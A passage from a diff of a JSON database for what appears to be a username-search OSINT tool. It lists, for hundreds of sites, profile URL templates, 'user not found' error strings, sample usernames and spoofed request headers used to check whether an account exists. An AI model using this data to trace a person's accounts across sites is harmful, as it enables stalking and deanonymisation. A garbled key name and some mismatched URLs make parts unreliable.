"Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.tripadvisor.com/Profile/{}", + "urlMain": "https://www.tripadvisor.com", + "usernameON": "blue", + "bad_site": "" + }, + "Tripline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripline.net/{}", + "urlMain": "https://www.tripline.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tripoto": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripoto.com/profile/{}", + "urlMain": "https://www.tripoto.com", + "usernameON": "kapilpandit", + "bad_site": "" + }, + "Tripster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tripster.ru/{}/", + "urlMain": "https://tripster.ru", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trisquel": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://trisquel.info/it/users/{}", + "urlMain": "https://trisquel.info", + "usernameON": "redfox", + "bad_site": "" + }, + "Trp_red": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://www.trp.red/follow/{}", + "urlMain": "https://www.trp.red", + "usernameON": "AlwaysStoic", + "bad_site": "" + }, + "Truckersmp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://truckersmp.ru/{}", + "urlMain": "https://truckersmp.ru", + "usernameON": "RamanBY", + "bad_site": "" + }, + "Trueachievements": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.trueachievements.com/gamer/{}", + "urlMain": "https://www.trueachievements.com", + "usernameON": "metallicafan459", + "bad_site": "" + }, + "Truelancer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This page could not be found.", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://www.truelancer.com/freelancer/{}", + "urlMain": "https://www.truelancer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Truesteamachievements": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "status_code", + "url": "https://truesteamachievements.com/gamer/{}", + "urlMain": "https://truesteamachievements.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Truthbook": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.truthbook.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://truthbook.com", + "usernameON": "fanofVan", + "bad_site": "" + }, + "Truthpodium": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://truthpodium.org/@{}", + "urlMain": "https://truthpodium.org", + "usernameON": "Bubba8613", + "bad_site": "" + }, + "Trworkshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "http://www.trworkshop.net/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.trworkshop.net", + "usernameON": "eric", + "bad_site": "" + }, + "Ttrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, пользователь не найден", + "errorMsg2": "<title data-react-helmet=\"true\">Тропинки.ру", + "errorTyp��": "message", + "url": "https://ttrails.ru/users/{}", + "urlMain": "https://ttrails.ru", + "usernameON": "danika983", + "bad_site": "" + }, + "Ttsport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.ttsport.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.ttsport.ru", + "usernameON": "Roos", + "comments": "bad", + "bad_site": "" + }, + "Tula": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tula.net.ru/user/{}/", + "urlMain": "http://tula.net.ru", + "usernameON": "evgenij", + "bad_site": 1 + }, + "Tulup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Нет записей, удовлетворяющих условиям запроса", + "errorMsg2": "

    ", + "errorTyp��": "message", + "url": "https://www.tulup.ru/noindex/userlist.php?search={}", + "urlMain": "https://www.tulup.ru", + "usernameON": "Murchik", + "bad_site": "" + }, + "Tumblr": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://{}.tumblr.com/", + "urlMain": "https://tumblr.com/", + "usernameON": "red", + "comments": "cf", + "bad_site": "" + }, + "Tunefind": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "false,\"err\":{\"name", + "errorMsg2": "Tunefind", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tunefind.com/user/profile/{}", + "urlMain": "https://www.tunefind.com", + "usernameON": "adam", + "comments": "super", + "bad_site": "" + }, + "Turbina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://turbinatravels.com/authors/{}/", + "urlMain": "https://turbina.ru", + "usernameON": "maklai", + "comments": "bad", + "bad_site": "" + }, + "Turkey-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "Пользователей: 0", + "errorTyp��": "message", + "url": "https://turkey-info.ru/forum/memberlist.php?username={}", + "urlMain": "https://turkey-info.ru", + "usernameON": "orduzulu", + "bad_site": "" + }, + "Turpravda": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "https://www.turpravda.ua/profile/{}/", + "urlMain": "https://www.turpravda.ua", + "usernameON": "iryna83", + "bad_site": "" + }, + "Tutor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, введенный вами адрес недоступен", + "errorMsg2": "dtk-front-nuxt</title", + "errorTyp��": "message", + "url": "https://tutor.ru/tutor/{}", + "urlMain": "https://tutor.ru", + "usernameON": "veronika-vikulova", + "bad_site": 1 + }, + "Tutsplus": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tutsplus.com/authors/{}", + "urlMain": "https://tutsplus.com", + "usernameON": "gigi-sayfan", + "bad_site": "" + }, + "Tv-games": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://tv-games.ru/forum/member.php?username={}", + "urlMain": "http://tv-games.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "TVgab": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "For support, please email", + "errorMsg2": "The page you are looking", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://gab.com/{}", + "urlMain": "https://gab.com/", + "usernameON": "HomerWarren", + "comments": "RUblock", + "bad_site": "" + }, + "Tvtropes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tvtropes.org/pmwiki/pmwiki.php/Tropers/{}", + "urlMain": "https://tvtropes.org", + "usernameON": "ZheToralf", + "bad_site": "" + }, + "Tw_weibo": { + "country": "🇨🇳", + "country_klas": "CN", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "<!DOCTYPE", + "errorMsg2": "Oops!", + "errorTyp��": "message", + "url": "https://tw.weibo.com/{}", + "urlMain": "https://tw.weibo.com", + "usernameON": "wow36kr", + "comments": "ZAK_user", + "ignore_status_code": true, + "bad_site": 1 + }, + "Twentysix": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://twentysix.ru/profile/{}/created/topics/", + "urlMain": "https://twentysix.ru", + "usernameON": "AleksandrGrigorev", + "bad_site": "" + }, + "Twitch": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "g:site_name' content='Twitch'><meta property='og:title' content='T", + "errorMsg2": "<title>Just a moment", + "errorMsg3": "content='@twitch'><link", + "errorTyp��": "message", + "url": "https://www.twitch.tv/{}", + "urlMain": "https://www.twitch.tv/", + "urlProbe": "https://m.twitch.tv/{}", + "usernameON": "adam", + "bad_site": "" + }, + "Twitter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "invalid_username", + "errorMsg2": "desc\":\"Available!", + "errorMsg3": "valid\":true,", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://x.com/{}", + "urlMain": "https://x.com", + "urlProbe": "https://api.twitter.com/i/users/username_available.json?username={}", + "usernameON": "durov", + "bad_site": "" + }, + "Typeracer": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "<title>Profile Not Found", + "errorMsg2": "We couldn't find a profile for username:", + "errorTyp��": "message", + "url": "https://data.typeracer.com/pit/profile?user={}", + "urlMain": "https://data.typeracer.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Uanime": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень", + "errorMsg2": "Інформація", + "errorMsg3": "

    Please wait", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uanime.org.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://uanime.org.ua", + "usernameON": "Antigonius", + "comments": "old", + "bad_site": 1 + }, + "Uaodessa": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://uaodessa.com/index/8-0-{}", + "urlMain": "https://uaodessa.com", + "usernameON": "Trentonbouri", + "bad_site": "", + "exclusion": "\\W" + }, + "Uazpatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://uazpatriot.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://uazpatriot.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Ubisoft_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.ubisoft.com/user/{}?lang=en-US", + "urlMain": "https://discussions.ubisoft.com", + "usernameON": "mrdarrek", + "bad_site": 1 + }, + "Uchportal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.uchportal.ru/index/8-0-{}", + "urlMain": "https://www.uchportal.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Udemy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.udemy.com/user/{}/", + "urlMain": "https://www.udemy.com", + "usernameON": "adammortimer", + "bad_site": "" + }, + "Ufocomm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "одожд", + "errorTyp��": "message", + "url": "https://www.ufocomm.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.ufocomm.ru", + "usernameON": "vik", + "bad_site": "" + }, + "Uforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uforum.uz/member.php?username={}", + "urlMain": "https://uforum.uz", + "usernameON": "Constantin", + "bad_site": "" + }, + "Uft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://uft.me/persons/{}", + "urlMain": "https://uft.me", + "usernameON": "darkelectro", + "comments": "old", + "bad_site": 1 + }, + "Ukraine-footbal": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ukraine-footbal.at.ua/index/8-0-{}", + "urlMain": "https://ukraine-footbal.at.ua", + "usernameON": "pavelsamoylov2022", + "bad_site": "" + }, + "Ultimate-Guitar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ultimate-guitar.com/u/{}", + "urlMain": "https://ultimate-guitar.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Universemc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://universemc.us/members/?username={}", + "urlMain": "https://universemc.us", + "usernameON": "sinnfein", + "comments": "RUblock", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Unixforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "unixforum.org - Информация", + "errorTyp��": "message", + "url": "https://unixforum.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://unixforum.org", + "usernameON": "adam", + "bad_site": "" + }, + "Unsorted": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "unsorted ~ ", + "errorTyp��": "message", + "url": "https://unsorted.me/profile.php?mode=viewprofile&u={}", + "urlMain": "https://unsorted.me", + "usernameON": "DALDON", + "bad_site": "" + }, + "Unsplash": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://unsplash.com/@{}/likes", + "urlMain": "https://unsplash.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Untappd": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://untappd.com/user/{}", + "urlMain": "https://untappd.com", + "usernameON": "adam", + "bad_site": "" + }, + "Uphillathlete": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://uphillathlete.com/forums/users/{}/", + "urlMain": "https://uphillathlete.com", + "usernameON": "yamabu", + "bad_site": "" + }, + "Uralfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "nowrap=\"nowrap\">

    14403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mradchenko-ezo.ucoz.ru/index/8-0-{}", + "urlMain": "https://mradchenko-ezo.ucoz.ru", + "usernameON": "Telejaw", + "bad_site": "" + }, + "Forum_msa-iptv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Користувача не знайдено", + "errorTyp��": "message", + "url": "http://msa-iptv.net/index/8-0-{}", + "urlMain": "http://msa-iptv.net", + "usernameON": "grigorili", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_msextra": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search at this time", + "errorTyp��": "message", + "url": "https://www.msextra.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.msextra.com", + "usernameON": "Laminar", + "bad_site": "" + }, + "Forum_msfn": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://msfn.org/board/search/?q={}&quick=1&type=core_members", + "urlMain": "https://msfn.org", + "usernameON": "lmacri", + "bad_site": "" + }, + "Forum_msiu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://msiwind.ucoz.net/index/8-0-{}", + "urlMain": "https://msiwind.ucoz.net", + "usernameON": "TimurR", + "bad_site": "" + }, + "Forum_mskwa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://mskwa.foroesp.com/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://mskwa.foroesp.com", + "usernameON": "tony", + "bad_site": "" + }, + "Forum_mssuao": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mssuao.my1.ru/index/8-0-{}", + "urlMain": "https://mssuao.my1.ru/", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_mt5": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Forex Forum | Forex Trading Forums | MT5 Forum", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forum.mt5.com/member.php?username={}", + "urlMain": "https://forum.mt5.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Forum_mta-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mta-info.ru/index/8-0-{}", + "urlMain": "https://mta-info.ru", + "usernameON": "Online", + "bad_site": "" + }, + "Forum_mtbr": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mtbr.com/members/?username={}", + "urlMain": "https://www.mtbr.com", + "usernameON": "aargar", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_mucs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mucs.ucoz.ru/index/8-0-{}", + "urlMain": "https://mucs.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_muffingroup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.muffingroup.com/betheme/profile/{}", + "urlMain": "https://forum.muffingroup.com", + "usernameON": "charlie27", + "bad_site": "" + }, + "Forum_muppet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not filled", + "errorMsg2": "Please wait", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "exclusion": "[а-яА-Я]", + "url": "https://muppet.fandom.com/wiki/User:{}", + "urlMain": "https://muppet.fandom.com", + "usernameON": "Reidtaub", + "bad_site": "" + }, + "Forum_musclemecca": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://musclemecca.com/members/?username={}", + "urlMain": "https://musclemecca.com", + "usernameON": "tkd", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_musflat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://musflat.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://musflat.kamrbb.ru", + "usernameON": "555serg2005", + "bad_site": "" + }, + "Forum_musik3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://musik3.ucoz.ru/index/8-0-{}", + "urlMain": "http://musik3.ucoz.ru/", + "usernameON": "Futbolki", + "bad_site": "" + }, + "Forum_muz-tv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://muz-tv-forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://muz-tv-forum.ucoz.ru", + "usernameON": "nadinvorobei", + "bad_site": "" + }, + "Forum_muzcom": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzcom.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzcom.kamrbb.ru", + "usernameON": "%CA%EE%ED%F0%E0%E4", + "bad_site": "" + }, + "Forum_muzlar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzlar.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzlar.kamrbb.ru", + "usernameON": "%F8%F3%EC%E8%EB%E8%ED", + "bad_site": "" + }, + "Forum_mxlinux": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.mxlinux.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.mxlinux.org", + "usernameON": "Stevo", + "bad_site": "" + }, + "Forum_mya": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.mya-uk.org.uk/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.mya-uk.org.uk", + "usernameON": "downbytheriver", + "bad_site": "" + }, + "Forum_myaudiq5": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.myaudiq5.com/members/?username={}", + "urlMain": "https://www.myaudiq5.com", + "usernameON": "sargeq5", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mybb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.mybb.ru/search.php?action=search&keywords=&author={}", + "urlMain": "https://forum.mybb.ru", + "usernameON": "Deff", + "bad_site": "" + }, + "Forum_mybeautyconsultant": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mybeautyconsultant.net/forum/members/?username={}", + "urlMain": "https://mybeautyconsultant.net", + "usernameON": "blackcoffee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Mybirds": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, ", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.mybirds.ru/forums/search/?&q={}&type&quick=1&search_and_or=or&sortby=relevancy", + "urlMain": "https://www.mybirds.ru/", + "usernameON": "Tanban", + "bad_site": "" + }, + "Forum_mybmwi3": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mybmwi3.com/members/?username={}", + "urlMain": "https://www.mybmwi3.com", + "usernameON": "robjones", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mychevybolt": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mychevybolt.com/members/?username={}", + "urlMain": "https://www.mychevybolt.com", + "usernameON": "timetoy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mycity-military": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "tim imenom ne postoji ", + "errorMsg2": "MyCity Military", + "errorTyp��": "message", + "url": "https://www.mycity-military.com/Korisnik/{}/", + "urlMain": "https://www.mycity-military.com", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_mycoffee": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mycoffee.ucoz.ru/index/8-0-{}", + "urlMain": "https://mycoffee.ucoz.ru", + "usernameON": "Азазелло", + "bad_site": "" + }, + "Forum_mycoweb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://myfc.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfc.ucoz.ru", + "usernameON": "jag", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_myfocuselectric": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.myfocuselectric.com/members/?username={}", + "urlMain": "https://www.myfocuselectric.com", + "usernameON": "atikovi", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_myfriendsclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myfriendsclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfriendsclub.ucoz.ru", + "usernameON": "crasnovp1t", + "bad_site": "" + }, + "Forum_myfxbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.myfxbook.com/members/{}", + "urlMain": "https://www.myfxbook.com", + "usernameON": "esmumuex", + "bad_site": "" + }, + "Forum_mygolfspy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.mygolfspy.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.mygolfspy.com", + "usernameON": "bmdubya", + "bad_site": "" + }, + "Forum_myimiev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://myimiev.com/members/?username={}", + "urlMain": "https://myimiev.com", + "usernameON": "jray3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_myimmortal": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myimmortal.forum24.ru/?32-{}", + "urlMain": "https://myimmortal.forum24.ru", + "usernameON": "de3fmjhhfq", + "bad_site": "" + }, + "Forum_Myjane": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title> - Женские форумы myJane", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://forum.myjane.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.myjane.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_mymbonline": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mymbonline.com/members/?username={}", + "urlMain": "https://www.mymbonline.com", + "usernameON": "odehboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mymoscow": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://myslonim.by/index/8-0-{}", + "urlMain": "http://myslonim.by", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_myst": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myst.ucoz.com/index/8-0-{}", + "urlMain": "https://myst.ucoz.com", + "usernameON": "vetal99977", + "bad_site": "" + }, + "Forum_mystic-school": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.mystic-school.ru/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "ivan", + "bad_site": "" + }, + "Forum_mysticalgarland": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mysticalgarland.at.ua/index/8-0-{}", + "urlMain": "https://mysticalgarland.at.ua", + "usernameON": "rusanov19110088", + "bad_site": "" + }, + "Forum_mysurvival": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mysurvivalforum.com/members/?username={}", + "urlMain": 